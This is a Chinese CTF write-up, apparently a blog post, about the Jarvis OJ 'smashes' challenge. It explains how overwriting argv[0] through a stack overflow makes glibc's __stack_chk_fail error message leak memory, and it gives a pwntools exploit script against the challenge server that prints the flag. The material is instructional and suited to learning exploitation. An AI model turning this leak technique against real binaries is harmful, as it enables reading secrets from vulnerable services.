置之死地而后生——Stack Smashing Protector任意地址读

Jarvis OJ上面的一道题smashes

ida查看关键函数

查看byte_600d20的位置:

第一次是向栈上输入一个无限长的字符串,第二次是往flag附近写入,并且第二个输入字符将会覆盖flag

显然第一次输入触发栈溢出

开启了canary,关于绕过canary的思路主要有两种

一、泄露canary

二、利用canary检查失败后调用的___stack_chk_fail函数

这里利用__stack_chk_fail实现任意地址读。

gdb调试下进入___stack_chk_fail函数,再步入__GI__fortify_fail函数,可以看到这里执行了一个叫做__libc_message的函数

功能大概就是输出一些错误信息

其中当前程序的路径名是从argv[0]中取得的并存放在栈上,然后用类似于格式化字符串的方式进行拼接。

第一次输入的数据起始位置是0x7fffffffdfd0,而存放0x7fffffffe4de的栈上地址为0x7fffffffe1e8,只要输入足够长,是可以覆盖__libc_message的参数的,从而把我们覆盖的地址位置的数据打印出来。


from pwn import *

p=remote('pwn.jarvisoj.com',9877)

p.recvuntil("What's your name?")

p.sendline('A'*536+p64(0x400d20))

#gdb.attach(p,'b* 0x00000000004008A9')

p.recvuntil('Please overwrite the flag:')

p.sendline('')

print p.recvuntil('Thank you, bye!')

print p.recv()

#raw_input()


PS:这里叕有个坑,原本说好了存在bss里的flag被清掉了。。。gdb搜索相关字符串发现在0x400d20还有一个备份。。。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容